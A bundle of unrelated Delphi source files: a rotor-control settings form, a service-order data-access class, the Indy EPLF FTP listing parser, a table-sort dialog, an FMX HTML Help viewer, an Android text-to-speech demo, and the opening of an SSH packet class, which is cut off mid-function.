procedure TForm3.UseShortWayClick(Sender: TObject);
begin
gControl2.Enabled:=(cbxTemplate.ItemIndex>3) and (PairRotors.ItemIndex=0);
gProtocol2.Enabled:=(cbxTemplate.ItemIndex>3) and (PairRotors.ItemIndex=0);
end;
procedure TForm3.SetEnable(aEnabled: boolean);
var i: integer;
begin
for i:=0 to ControlCount - 1 do begin
Controls[i].Enabled:=aEnabled;
end;
end;
function TForm3.ShowMe(aBtnCancelVisible: boolean): boolean;
begin
Button2.Visible:=aBtnCancelVisible;
if aBtnCancelVisible then begin
Button1.ModalResult:=mrOk;
SetEnable(true);
cbxTemplateChange(nil);
end else begin
SetEnable(false);
Button1.ModalResult:=mrCancel;
Button1.Enabled:=true;
end;
Result := (ShowModal = mrOk);
end;
procedure TForm3.ToInterface(var c: TMD_CONFIG);
begin
cbxTemplate.ItemIndex:=c.bTemplate;
UseShortWay.ItemIndex:=c.bUseShortWay;
UseElevationMap.ItemIndex:=c.bUseElMap;
ConstElevationMap.ItemIndex:=c.bConstElMap;
MouseControl.ItemIndex:=c.bMouseControl;
cbxProtocol1.ItemIndex:=c.bProtocolM1;
cbxProtocol2.ItemIndex:=c.bProtocolM2;
cbxControl1.ItemIndex:=c.bControlM1;
cbxControl2.ItemIndex:=c.bControlM2;
ShowAzimuth.ItemIndex:=c.bShowAzimuth;
StartRotor.ItemIndex:=c.bMotorStart;
StopRotor.ItemIndex:=c.bMotorStop;
PairRotors.ItemIndex:=c.bPairRotors;
end;
procedure TForm3.FromInterface(var c: TMD_CONFIG);
begin
c.bTemplate:=cbxTemplate.ItemIndex;
c.bUseShortWay:=UseShortWay.ItemIndex;
c.bUseElMap:=UseElevationMap.ItemIndex;
c.bConstElMap:=ConstElevationMap.ItemIndex;
c.bMouseControl:=MouseControl.ItemIndex;
c.bProtocolM1:=cbxProtocol1.ItemIndex;
c.bProtocolM2:=cbxProtocol2.ItemIndex;
c.bControlM1:=cbxControl1.ItemIndex;
c.bControlM2:=cbxControl2.ItemIndex;
c.bShowAzimuth:=ShowAzimuth.ItemIndex;
c.bMotorStart:=StartRotor.ItemIndex;
c.bMotorStop:=StopRotor.ItemIndex;
c.bPairRotors:=PairRotors.ItemIndex;
end;
procedure TForm3.cbxTemplateChange(Sender: TObject);
begin
case cbxTemplate.ItemIndex of
0: begin
gControl1.Enabled:=false;
gProtocol1.Enabled:=false;
gControl2.Enabled:=false;
gProtocol2.Enabled:=false;
cbxControl1.ItemIndex:=0;
cbxProtocol1.ItemIndex:=0;
cbxControl2.ItemIndex:=0;
cbxProtocol2.ItemIndex:=0;
PairRotors.Enabled:=false;
PairRotors.ItemIndex:=0;
end;
1: begin
gControl1.Enabled:=true;
gProtocol1.Enabled:=true;
gControl2.Enabled:=false;
gProtocol2.Enabled:=false;
cbxControl2.ItemIndex:=0;
cbxProtocol2.ItemIndex:=0;
PairRotors.Enabled:=false;
PairRotors.ItemIndex:=0;
end;
2: begin
gControl1.Enabled:=true;
gProtocol1.Enabled:=true;
gControl2.Enabled:=false;
gProtocol2.Enabled:=false;
cbxControl2.ItemIndex:=0;
cbxProtocol2.ItemIndex:=0;
PairRotors.Enabled:=false;
PairRotors.ItemIndex:=0;
end;
3: begin
gControl1.Enabled:=true;
gProtocol1.Enabled:=true;
gControl2.Enabled:=false;
gProtocol2.Enabled:=false;
cbxControl2.ItemIndex:=0;
cbxProtocol2.ItemIndex:=0;
PairRotors.Enabled:=false;
PairRotors.ItemIndex:=0;
end;
4: begin
gControl1.Enabled:=true;
gProtocol1.Enabled:=true;
gControl2.Enabled:=PairRotors.ItemIndex=0;
gProtocol2.Enabled:=PairRotors.ItemIndex=0;
PairRotors.Enabled:=true;
end;
end;
end;
end.
|
unit UDaoOrdemServicoItem;
interface
uses
Data.DB, System.Classes, System.SysUtils, Data.Win.ADODB, System.Generics.Collections,
Datasnap.Provider, Data.SqlExpr, Data.DBXJSON, System.Variants, UOrdemServicoItem;
type
{$METHODINFO ON}
TDaoOrdemServicoItem = class(TComponent)
private
FOrdemServicoItem: TOrdemServicoItem;
procedure AtualizaOS(const AValue: Integer);
public
function OrdemServicoItem: OleVariant;
function AcceptOrdemServicoItem(O: TJSONValue): Boolean;
function UpDateOrdemServicoItem(O: TJSONValue): Boolean;
function CancelOrdemServicoItem(O: TJSONValue): Boolean;
end;
{$METHODINFO OFF}
implementation
uses
UDmConexao, UDmOrdemServicoItem, UDmOrdemServico, UDmServico;
{ TDaoOrdemServicoItem }
function TDaoOrdemServicoItem.AcceptOrdemServicoItem(O: TJSONValue): Boolean;
begin
try
FOrdemServicoItem := TOrdemServicoItem.JSONToObjecto<TOrdemServicoItem>(O);
DmOrdemServicoItem.dtsIncluir.ParamByName('P_idOrdemServico').Value := FOrdemServicoItem.idOrdemServico;
DmOrdemServicoItem.dtsIncluir.ParamByName('P_idServico' ).Value := FOrdemServicoItem.idServico;
DmOrdemServicoItem.dtsIncluir.ParamByName('P_valor' ).Value := FOrdemServicoItem.valor;
DmOrdemServicoItem.dtsIncluir.ParamByName('P_desconto' ).Value := FOrdemServicoItem.desconto;
DmOrdemServicoItem.dtsIncluir.ExecSQL;
AtualizaOS(FOrdemServicoItem.idOrdemServico);
Result := True;
except
Result := False;
end;
end;
procedure TDaoOrdemServicoItem.AtualizaOS(const AValue: Integer);
begin
DmOrdemServicoItem.dtsCst.Close;
DmOrdemServicoItem.dtsCst.ParamByName('P_idOrdemServico').Value := AValue;
DmOrdemServicoItem.dtsCst.Open;
DmOrdemServico.dtsAlt.ParamByName('P_qtdItem').Value := DmOrdemServicoItem.dtsCstQtd.Value;
DmOrdemServico.dtsAlt.ParamByName('P_vrItem' ).AsFMTBCD := DmOrdemServicoItem.dtsCstVrTotal.AsBCD;
DmOrdemServico.dtsAlt.ParamByName('P_id' ).Value := AValue;
DmOrdemServico.dtsAlt.ExecSQL;
end;
function TDaoOrdemServicoItem.CancelOrdemServicoItem(O: TJSONValue): Boolean;
begin
try
FOrdemServicoItem := TOrdemServicoItem.JSONToObjecto<TOrdemServicoItem>(O);
DmOrdemServicoItem.dtsDeletar.ParamByName('P_id').Value := FOrdemServicoItem.ID;
DmOrdemServicoItem.dtsDeletar.ExecSQL;
AtualizaOS(FOrdemServicoItem.idOrdemServico);
Result := True;
except
Result := False;
end;
end;
function TDaoOrdemServicoItem.OrdemServicoItem: OleVariant;
begin
Result := VarArrayCreate([0,2], varVariant);
try
DmOrdemServico.dtsLista.Close;
DmOrdemServico.dtsLista.Open;
DmOrdemServicoItem.dtsLista.Close;
DmOrdemServicoItem.dtsLista.Open;
DmServico.dtsLista01.Close;
DmServico.dtsLista01.Open;
Result[0] := DmOrdemServico.dspLista.Data;
Result[1] := DmOrdemServicoItem.dspLista.Data;
Result[2] := DmServico.dspLista01.Data;
except
on E: Exception do begin
Result := 'Error Consulta Formulario: '+E.Message;
end;
end;
end;
function TDaoOrdemServicoItem.UpDateOrdemServicoItem(O: TJSONValue): Boolean;
begin
try
FOrdemServicoItem := TOrdemServicoItem.JSONToObjecto<TOrdemServicoItem>(O);
DmOrdemServicoItem.dtsAlterar.ParamByName('P_idServico' ).Value := FOrdemServicoItem.idServico;
DmOrdemServicoItem.dtsAlterar.ParamByName('P_valor' ).Value := FOrdemServicoItem.valor;
DmOrdemServicoItem.dtsAlterar.ParamByName('P_desconto' ).Value := FOrdemServicoItem.desconto;
DmOrdemServicoItem.dtsAlterar.ParamByName('P_ID' ).Value := FOrdemServicoItem.ID;
DmOrdemServicoItem.dtsAlterar.ExecSQL;
AtualizaOS(FOrdemServicoItem.idOrdemServico);
Result := True;
except
Result := False;
end;
end;
end.
|
{
$Project$
$Workfile$
$Revision$
$DateUTC$
$Id$
This file is part of the Indy (Internet Direct) project, and is offered
under the dual-licensing agreement described on the Indy website.
(http://www.indyproject.org/)
Copyright:
(c) 1993-2005, Chad Z. Hower and the Indy Pit Crew. All rights reserved.
}
{
$Log$
}
{
{ Rev 1.6 10/26/2004 9:36:30 PM JPMugaas
{ Updated ref.
}
{
{ Rev 1.5 4/19/2004 5:05:30 PM JPMugaas
{ Class rework Kudzu wanted.
}
{
{ Rev 1.4 2004.02.03 5:45:22 PM czhower
{ Name changes
}
{
{ Rev 1.3 11/26/2003 6:22:24 PM JPMugaas
{ IdFTPList can now support file creation time for MLSD servers which support
{ that feature. I also added support for a Unique identifier for an item so
{ facilitate some mirroring software if the server supports unique ID with EPLF
{ and MLSD.
}
{
Rev 1.2 10/19/2003 2:27:14 PM DSiders
Added localization comments.
}
{
{ Rev 1.1 4/7/2003 04:03:48 PM JPMugaas
{ User can now descover what output a parser may give.
}
{
{ Rev 1.0 2/19/2003 04:18:16 AM JPMugaas
{ More things restructured for the new list framework.
}
unit IdFTPListParseEPLF;
interface
uses IdFTPList, IdFTPListParseBase, IdFTPListTypes, IdObjs;
type
TIdAEPLFFTPListItem = class(TIdFTPListItem)
protected
//Unique ID for an item to prevent yourself from downloading something twice
FUniqueID : String;
public
property ModifiedDateGMT;
//Valid only with EPLF and MLST
property UniqueID : string read FUniqueID write FUniqueID;
end;
TIdFTPLPEPLF = class(TIdFTPListBase)
protected
class function MakeNewItem(AOwner : TIdFTPListItems) : TIdFTPListItem; override;
class function ParseLine(const AItem : TIdFTPListItem; const APath : String=''): Boolean; override;
public
class function GetIdent : String; override;
class function CheckListing(AListing : TIdStrings; const ASysDescript : String =''; const ADetails : Boolean = True): boolean; override;
end;
implementation
uses
IdGlobal, IdFTPCommon, IdGlobalProtocols, IdSys;
{ TIdFTPLPEPLF }
class function TIdFTPLPEPLF.CheckListing(AListing: TIdStrings;
const ASysDescript: String; const ADetails: Boolean): boolean;
begin
Result := (AListing.Count > 0) and (Length(AListing[0])>2) and (AListing[0][1]='+')
and (IndyPos(#9,AListing[0])>0);
end;
class function TIdFTPLPEPLF.GetIdent: String;
begin
Result := 'EPLF'; {do not localize}
end;
class function TIdFTPLPEPLF.MakeNewItem(
AOwner: TIdFTPListItems): TIdFTPListItem;
begin
Result := TIdAEPLFFTPListItem.Create(AOwner);
end;
class function TIdFTPLPEPLF.ParseLine(const AItem: TIdFTPListItem;
const APath: String): Boolean;
var LFacts : TIdStrings;
i : Integer;
LI : TIdAEPLFFTPListItem;
begin
LI := AItem as TIdAEPLFFTPListItem;
LFacts := TIdStringList.Create;
try
LI.FileName := ParseFacts(Copy(LI.Data, 2, Length(LI.Data)), LFacts, ',', #9);
for i := 0 to LFacts.Count -1 do
begin
if LFacts[i] = '/' then {do not localize}
begin
LI.ItemType := ditDirectory;
end;
if (Length(LFacts[i]) > 0) and (LFacts[i][1] = 's') then
begin
AItem.Size := Sys.StrToInt64(Copy(LFacts[i], 2, Length(LFacts[i])), 0);
end;
if LFacts[i][1] = 'm' then {do not localize}
begin
LI.ModifiedDate := EPLFDateToLocalDateTime(Copy(LFacts[i], 2, Length(LFacts[i])));
LI.ModifiedDateGMT := EPLFDateToGMTDateTime(Copy(LFacts[i], 2, Length(LFacts[i])));
end;
if LFacts[i][1] = 'i' then {do not localize}
begin
LI.UniqueID := Copy(LFacts[i],2,Length(LFacts[i]));
end;
end;
finally
Sys.FreeAndNil(LFacts);
end;
Result := True;
end;
initialization
RegisterFTPListParser(TIdFTPLPEPLF);
finalization
UnRegisterFTPListParser(TIdFTPLPEPLF);
end.
|
{
DBAExplorer - Oracle Admin Management Tool
Copyright (C) 2008 Alpaslan KILICKAYA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
}
unit frmTableSort;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, cxLookAndFeelPainters, cxLabel, jpeg, ExtCtrls, StdCtrls,
cxButtons, cxControls, cxContainer, cxEdit, cxGroupBox, cxRadioGroup,
OraStorage ;
type
TTableSortFrm = class(TForm)
rgSort: TcxRadioGroup;
Panel1: TPanel;
btnOk: TcxButton;
btnCancel: TcxButton;
Image2: TImage;
cxLabel1: TcxLabel;
lblColumn: TcxLabel;
Panel2: TPanel;
imgToolBar: TImage;
lblDescription: TLabel;
private
{ Private declarations }
public
{ Public declarations }
function Init(ColumnName: string; var ColumnSort: TSort): boolean;
end;
var
TableSortFrm: TTableSortFrm;
implementation
{$R *.dfm}
uses VisualOptions, GenelDM;
function TTableSortFrm.Init(ColumnName: string; var ColumnSort: TSort): boolean;
begin
TableSortFrm := TTableSortFrm.Create(Application);
Self := TableSortFrm;
DMGenel.ChangeLanguage(self);
ChangeVisualGUI(self);
rgSort.ItemIndex := Integer(Columnsort);
lblColumn.Caption := ColumnName;
ShowModal;
ColumnSort := TSort(rgSort.ItemIndex);
result := ModalResult = mrOK ;
free;
end;
end.
|
unit HTMLHelpFMXViewer;
interface
uses System.Types, FMX.Controls, FMX.Forms;
function SetHTMLHelpFile(PathAndFilename : string): boolean;
procedure ShowHTMLHelpContents;
procedure ShowHTMLHelp;
procedure ShowFocusedFormHTMLHelp(AForm : TCommonCustomForm);
procedure ShowControlHTMLHelp(aControl : TStyledControl);
procedure ShowPopupHTMLHelp;
procedure ShowFocusedFormPopupHTMLHelp(AForm : TCommonCustomForm);
procedure ShowControlPopupHTMLHelp(aControl : TStyledControl);
procedure RegisterFormForHelp(AForm : TCommonCustomForm);
implementation
uses Winapi.Windows, Winapi.Messages, System.Classes,FMX.Types, FMX.Platform.Win,
System.SysUtils;
type
TFMXHtmlHelpViewer = class(TInterfacedObject)
private
FInitializedCookie : DWORD;
FInitialized : boolean;
FHelpFile : String;
FHelpHandle : THandle;
procedure SetHelpFile(const Value: String);
function GetHelpFile(const Name: String): String;
function GetHelpHandle: THandle;
procedure SetHelpHandle(AHandle: THandle);
procedure DisplayTextPopupData(Position: TPoint; ResInstance : HINST;
AHelpString: string; HelpStringResId: UINT);
protected
procedure DisplayTopic(const Topic: String);
procedure ShowHelp(const HelpString: String);
procedure ShowTableOfContents;
procedure ShutDown;
procedure SoftShutDown;
procedure ValidateHelpViewer;
procedure DisplayTextPopup(Data: PHH_Popup);
procedure DisplayHTMLTextPopup(Data: PHH_Popup);
procedure DisplayTextPopupStr(AHelpString : string);
procedure DisplayTextPopupRes(HelpStringResId : UINT);
procedure DisplayTextPopupStrPos(Position : TPoint; AHelpString : string);
procedure DisplayTextPopupResPos(Position : TPoint; HelpStringResId : UINT);
procedure LookupALink(LinkPtr: PHH_AKLINK);
procedure LookupKeyWord(LinkPtr: PHH_AKLINK);
procedure SynchTopic;
property HelpHandle: THandle read GetHelpHandle write SetHelpHandle;
public
function HelpContext(Context: THelpContext): Boolean;
function HelpJump(const JumpID: string): Boolean;
function HelpKeyword(const Keyword: string): Boolean;
function HelpShowTableOfContents: Boolean;
procedure DoHelp;
procedure DoHelpOnForm(AForm : TCommonCustomForm);
procedure DoHelpOnControl(aControl : TStyledControl);
procedure DoPopupHelp;
procedure DoPopupHelpOnForm(AForm : TCommonCustomForm);
procedure DoPopupHelpOnControl(aControl : TStyledControl);
property HelpFile : String read FHelpFile write SetHelpFile;
end;
TWndProc = function(hwnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
FMXHtmlHelpViewer : TFMXHtmlHelpViewer = nil;
OldFormWndProc : TWndProc = nil;
function HelpWndProc(hwnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
//unfortunately FMX does not pass the WM_HELP from the chils control
//to parent when WS_EX_CONTEXTHELP is used. (the point is moot though
//as FMX ignores biHelp)
if (uMsg = WM_HELP) then
if GetKeyState(VK_CONTROL) < 0 then
ShowPopupHTMLHelp
else
ShowHTMLHelp;
if @OldFormWndProc <> nil then
Result := OldFormWndProc(hwnd,uMsg,wParam,lParam);
end;
procedure RegisterFormForHelp(AForm : TCommonCustomForm);
var
FormWndProc : NativeInt;
begin
FormWndProc := GetWindowLong(FmxHandleToHWND(AForm.Handle), GWL_WNDPROC);
if @OldFormWndProc = nil then
@OldFormWndProc := Pointer(FormWndProc);
if FormWndProc = NativeInt(@OldFormWndProc) then
SetWindowLong(FmxHandleToHWND(AForm.Handle), GWL_WNDPROC,NativeInt(@HelpWndProc));
end;
function SetHTMLHelpFile(PathAndFilename : string): boolean;
begin
Result := false;
if FMXHtmlHelpViewer <> nil then
Result := FileExists(PathAndFilename);
if Result then
FMXHtmlHelpViewer.HelpFile := PathAndFilename;
end;
procedure ShowHTMLHelp;
begin
if FMXHtmlHelpViewer <> nil then
FMXHtmlHelpViewer.DoHelp;
end;
procedure ShowFocusedFormHTMLHelp(AForm : TCommonCustomForm);
begin
if FMXHtmlHelpViewer <> nil then
FMXHtmlHelpViewer.DoHelpOnForm(AForm);
end;
procedure ShowControlHTMLHelp(aControl : TStyledControl);
begin
if FMXHtmlHelpViewer <> nil then
FMXHtmlHelpViewer.DoHelpOnControl(aControl);
end;
procedure ShowHTMLHelpContents;
begin
if FMXHtmlHelpViewer <> nil then
FMXHtmlHelpViewer.ShowTableOfContents;
end;
procedure ShowPopupHTMLHelp;
begin
if FMXHtmlHelpViewer <> nil then
FMXHtmlHelpViewer.DoPopupHelp
end;
procedure ShowFocusedFormPopupHTMLHelp(AForm : TCommonCustomForm);
begin
if FMXHtmlHelpViewer <> nil then
FMXHtmlHelpViewer.DoPopupHelpOnForm(AForm);
end;
procedure ShowControlPopupHTMLHelp(aControl : TStyledControl);
begin
if FMXHtmlHelpViewer <> nil then
FMXHtmlHelpViewer.DoPopupHelpOnControl(aControl);
end;
{ TFMXHtmlHelpViewer }
function TFMXHtmlHelpViewer.GetHelpFile(const Name: String): String;
begin
Result := '';
if (Name = '') then Result := FHelpFile;
end;
procedure TFMXHtmlHelpViewer.ValidateHelpViewer;
begin
if not FInitialized then
begin
HtmlHelp(0, nil, HH_INITIALIZE, &FInitializedCookie);
FInitialized := true;
end;
end;
procedure TFMXHtmlHelpViewer.ShowTableOfContents;
begin
ValidateHelpViewer;
SynchTopic;
HtmlHelp(HelpHandle, PChar(FHelpFile), HH_DISPLAY_TOC, 0);
end;
procedure TFMXHtmlHelpViewer.SetHelpFile(const Value: String);
begin
FHelpFile := Value;
end;
procedure TFMXHtmlHelpViewer.SetHelpHandle(AHandle: THandle);
begin
if AHandle <> FHelpHandle then
FHelpHandle := AHandle;
end;
function TFMXHtmlHelpViewer.GetHelpHandle: THandle;
var
FocusedForm : TCommonCustomForm;
begin
if IsWindow(FHelpHandle) then
Result := FHelpHandle
else
begin
FocusedForm := Screen.ActiveForm;
if FocusedForm <> nil then
Result := FmxHandleToHWND(FocusedForm.Handle)
else
Result := WinApi.Windows.GetDesktopWindow;
end;
end;
function TFMXHtmlHelpViewer.HelpContext(Context: THelpContext): Boolean;
begin
ValidateHelpViewer;
SynchTopic;
HtmlHelp(HelpHandle, PChar(FHelpFile), HH_HELP_CONTEXT, Context);
end;
function TFMXHtmlHelpViewer.HelpJump(const JumpID: string): Boolean;
begin
ShowHelp(JumpID);
end;
function TFMXHtmlHelpViewer.HelpKeyword(const Keyword: string): Boolean;
begin
ShowHelp(Keyword);
end;
function TFMXHtmlHelpViewer.HelpShowTableOfContents: Boolean;
begin
ShowTableOfContents;
Result := true;
end;
procedure TFMXHtmlHelpViewer.ShowHelp(const HelpString: String);
var
Link: THH_AKLINK;
begin
ValidateHelpViewer;
SynchTopic;
Link.cbStruct := sizeof (THH_AKLINK);
Link.fReserved := false;
Link.pszKeywords := PChar(HelpString);
Link.pszUrl := nil;
Link.pszMsgText := nil;
Link.pszMsgTitle := nil;
Link.pszWindow := nil;
Link.fIndexOnFail := true;
LookupKeyWord(@Link);
end;
{ SoftShutDown is called by the help manager to ask the viewer to
terminate any externally spawned subsystem without shutting itself down. }
procedure TFMXHtmlHelpViewer.SoftShutDown;
begin
HtmlHelp(0, nil, HH_CLOSE_ALL, 0);
end;
procedure TFMXHtmlHelpViewer.ShutDown;
begin
SoftShutDown;
if FInitialized then
begin
HtmlHelp(0, nil, HH_UNINITIALIZE, &FInitializedCookie);
FInitialized := false;
FInitializedCookie := 0;
end;
end;
procedure TFMXHtmlHelpViewer.DisplayTopic(const Topic: String);
const
InvokeSep = '::/';
InvokeSuf = '.htm';
var
HelpFile: String;
InvocationString: String;
begin
ValidateHelpViewer;
InvocationString := HelpFile + InvokeSep + Topic + InvokeSuf;
HtmlHelp(HelpHandle, PChar(InvocationString), HH_DISPLAY_TOPIC, 0);
end;
procedure TFMXHtmlHelpViewer.DoHelpOnControl(aControl: TStyledControl);
begin
if aControl <> nil then
begin
if aControl.Root is TCommonCustomForm then
HelpHandle := FmxHandleToHWND(TCommonCustomForm(aControl.Root).Handle);
if aControl.HelpType = THelpType.htKeyword then
HelpKeyword(aControl.HelpKeyword)
else
HelpContext(aControl.HelpContext);
end;
end;
procedure TFMXHtmlHelpViewer.DoHelpOnForm(AForm: TCommonCustomForm);
begin
if AForm <> nil then
if AForm.Focused <> nil then
if AForm.Focused.GetObject is TStyledControl then
DoHelpOnControl(TStyledControl(AForm.Focused.GetObject));
end;
procedure TFMXHtmlHelpViewer.DoPopupHelpOnControl(aControl: TStyledControl);
var
BottomLeft : TPointF;
CallingForm : TCommonCustomForm;
begin
if aControl <> nil then
begin
if aControl.Root is TCommonCustomForm then
CallingForm := TCommonCustomForm(aControl.Root);
if CallingForm <> nil then
begin
HelpHandle := FmxHandleToHWND(CallingForm.Handle);
BottomLeft := CallingForm.ClientToScreen( PointF(aControl.ParentedRect.Left,
aControl.ParentedRect.Bottom));
if aControl.HelpType = THelpType.htKeyword then
DisplayTextPopupStrPos(BottomLeft.Round,aControl.HelpKeyword)
else
DisplayTextPopupResPos(BottomLeft.Round,aControl.HelpContext);
end;
end;
end;
procedure TFMXHtmlHelpViewer.DoPopupHelpOnForm(AForm: TCommonCustomForm);
begin
if AForm <> nil then
if AForm.Hovered <> nil then
if AForm.Hovered.GetObject is TStyledControl then
DoPopupHelpOnControl(TStyledControl(AForm.Hovered.GetObject));
end;
procedure TFMXHtmlHelpViewer.DoPopupHelp;
begin
DoPopupHelpOnForm(Screen.ActiveForm);
end;
procedure TFMXHtmlHelpViewer.DoHelp;
begin
DoHelpOnForm(Screen.ActiveForm);
end;
procedure TFMXHtmlHelpViewer.SynchTopic;
begin
HtmlHelp(HelpHandle, PChar(FHelpFile), HH_DISPLAY_TOC, 0);
end;
procedure TFMXHtmlHelpViewer.LookupALink(LinkPtr: PHH_AKLINK);
begin
HtmlHelp(HelpHandle, PChar(FHelpFile), HH_ALINK_LOOKUP, DWORD_PTR(LinkPtr));
end;
procedure TFMXHtmlHelpViewer.LookupKeyWord(LinkPtr: PHH_AKLINK);
begin
HtmlHelp(HelpHandle, PChar(FHelpFile),HH_KEYWORD_LOOKUP, DWORD_PTR(LinkPtr));
end;
procedure TFMXHtmlHelpViewer.DisplayHTMLTextPopup(Data: PHH_Popup);
begin
HtmlHelp(HelpHandle, PChar(FHelpFile), HH_DISPLAY_TEXT_POPUP, DWORD_PTR(Data));
end;
procedure TFMXHtmlHelpViewer.DisplayTextPopup(Data: PHH_Popup);
begin
HtmlHelp(HelpHandle, nil, HH_DISPLAY_TEXT_POPUP, DWORD_PTR(Data));
end;
procedure TFMXHtmlHelpViewer.DisplayTextPopupData(Position : TPoint;
ResInstance : HINST;
AHelpString : string;
HelpStringResId : UINT);
var
PopupData : HH_Popup;
begin
PopupData.cbStruct := sizeof(HH_Popup);
PopupData.hInst := ResInstance;
PopupData.idString := HelpStringResId;
PopupData.pszText := PChar(AHelpString);
PopupData.pt := Position;
PopupData.clrForeground := TColorRef(-1);
PopupData.clrBackground := TColorRef(-1);
PopupData.rcMargins.Left := -1;
PopupData.rcMargins.Right := -1;
PopupData.rcMargins.Top := -1;
PopupData.rcMargins.Bottom := -1;
PopupData.pszFont := nil;
DisplayTextPopup(@PopupData);
end;
procedure TFMXHtmlHelpViewer.DisplayTextPopupRes(HelpStringResId: UINT);
begin
end;
procedure TFMXHtmlHelpViewer.DisplayTextPopupResPos(Position: TPoint;
HelpStringResId: UINT);
begin
//code can be improved to specify a resource module for the strings
DisplayTextPopupData(Position,GetModuleHandle(nil),'',HelpStringResId);
end;
procedure TFMXHtmlHelpViewer.DisplayTextPopupStr(AHelpString: string);
begin
end;
procedure TFMXHtmlHelpViewer.DisplayTextPopupStrPos(Position: TPoint;
AHelpString: string);
begin
DisplayTextPopupData(Position,0,AHelpString,0);
end;
initialization
FMXHtmlHelpViewer := TFMXHtmlHelpViewer.Create;
finalization
if FMXHtmlHelpViewer <> nil then
begin
FMXHtmlHelpViewer.ShutDown;
FMXHtmlHelpViewer := nil;
end;
end.
|
unit Main;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Layouts,
FMX.Memo, FMX.StdCtrls, android.speech.tts, Androidapi.JNIBridge;
type
TFormMain = class(TForm)
ButtonSay: TButton;
Memo: TMemo;
procedure ButtonSayClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
type
TOnInitListener = class(TJavaLocal, JTextToSpeech_OnInitListener)
private
[weak] FFormMain: TFormMain;
public
constructor Create(FormMain: TFormMain);
procedure onInit(Status: Integer); cdecl;
end;
private
OnInitListener: TOnInitListener;
TextToSpeech: JTextToSpeech;
public
{ Public declarations }
end;
var
FormMain: TFormMain;
implementation
uses Androidapi.Helpers, FMX.Helpers.Android;
{$R *.fmx}
constructor TFormMain.TOnInitListener.Create(FormMain: TFormMain);
begin
inherited Create;
FFormMain := FormMain;
end;
procedure TFormMain.TOnInitListener.onInit(Status: Integer);
begin
if Status = TJTextToSpeech_SUCCESS then
FFormMain.ButtonSay.Enabled := True;
end;
procedure TFormMain.ButtonSayClick(Sender: TObject);
begin
TextToSpeech.speak(StringToJString(Memo.text), TJTextToSpeech_QUEUE_ADD, nil);
end;
procedure TFormMain.FormCreate(Sender: TObject);
begin
OnInitListener := TOnInitListener.Create(Self);
TextToSpeech := TJTextToSpeech.JavaClass.init(SharedActivityContext, OnInitListener);
end;
end.
|
{
Clever Internet Suite
Copyright (C) 2014 Clever Components
All Rights Reserved
www.CleverComponents.com
}
unit clSshPacket;
interface
{$I ..\common\clVer.inc}
uses
{$IFNDEF DELPHIXE2}
Classes, Windows,
{$ELSE}
System.Classes, Winapi.Windows,
{$ENDIF}
clUtils, clCryptRandom;
type
TclPacket = class
private
FIndex: Integer;
FS: Integer;
procedure GetByte(var AFoo: TclByteArray; AStart, ALen: Integer); overload;
function GetByte(ALen: Integer): Integer; overload;
public
Buffer: TclByteArray;
constructor Create; overload;
constructor Create(ASize: Integer); overload;
constructor Create(const ABuffer: TclByteArray); overload;
procedure PutByte(const AFoo: Byte); overload;
procedure PutByte(const AFoo: TclByteArray); overload;
procedure PutByte(const AFoo: TclByteArray; ABegin, ALength: Integer); overload;
procedure PutString(const AFoo: TclByteArray); overload;
procedure PutString(const AFoo: TclByteArray; ABegin, ALength: Integer); overload;
procedure PutInt(V: Integer);
procedure PutLong(V: Int64);
procedure PutMPInt(const AFoo: TclByteArray);
procedure Skip(N: Integer);
function GetLong: Int64;
function GetInt: Integer;
function GetShort: Integer;
function GetByte: Integer; overload;
procedure GetByte(var AFoo: TclByteArray); overload;
function GetMPInt: TclByteArray;
function GetMPIntBits: TclByteArray;
function GetString: TclByteArray; overload;
function GetString(var AStart, ALen: TclIntArray): TclByteArray; overload;
function GetLength: Integer;
function GetOffSet: Integer;
procedure SetOffSet(Value: Integer);
function GetIndex: Integer;
procedure SetIndex(Value: Integer);
procedure Init;
procedure Rewind;
procedure Reset;
procedure Padding(ARandom: TclRandom; BSize: Integer);
function Shift(ALen, AMac: Integer): Integer;
procedure Unshift(ACommand: Byte; ARecipient, S, ALen: Integer);
end;
const
cMaxBufferSize = 1024 * 10 * 2;
implementation
{ TclPacket }
constructor TclPacket.Create;
begin
Create(cMaxBufferSize);
end;
constructor TclPacket.Create(ASize: Integer);
begin
inherited Create();
SetLength(Buffer, ASize);
FIndex := 0;
FS := 0;
end;
constructor TclPacket.Create(const ABuffer: TclByteArray);
begin
inherited Create();
Buffer := ABuffer;
FIndex := 0;
FS := 0;
end;
function TclPacket.GetByte(ALen: Integer): Integer;
begin
Result := FS;
Inc(FS, ALen);
end;
procedure TclPacket.GetByte(var AFoo: TclByteArray);
begin
GetByte(AFoo, 0, Length(AFoo));
end;
function TclPacket.GetByte: Integer;
begin
Result := Integer(Buffer[FS]);
Inc(FS);
end;
procedure TclPacket.GetByte(var AFoo: TclByteArray; AStart, ALen: Integer);
begin
if (ALen > 0) then
begin
System.Move(Buffer[FS], AFoo[AStart], ALen);
Inc(FS, ALen);
end;
end;
function TclPacket.GetIndex: Integer;
begin
Result := FIndex;
end;
function TclPacket.GetInt: Integer;
begin
Result := Integer(ByteArrayReadDWord(Buffer, FS));
end;
function TclPacket.GetLength: Integer;
begin
Result := FIndex - FS;
end;
function TclPacket.GetLong: Int64;
begin
Result := ByteArrayReadInt64(Buffer, FS);
end;
function TclPacket.GetMPInt: TclByteArray;
var
i: Integer;
begin
i := GetInt();
SetLength(Result, i);
GetByte(Result, 0, i);
end;
function TclPacket.GetMPIntBits: TclByteArray;
var
bits, bytes: Integer;
bar: TclByteArray;
begin
{$IFNDEF DELPHI2005}bar := nil;{$ENDIF}
bits := GetInt();
bytes := (bits + 7) div 8;
SetLength(Result, bytes);
GetByte(Result, 0, bytes);
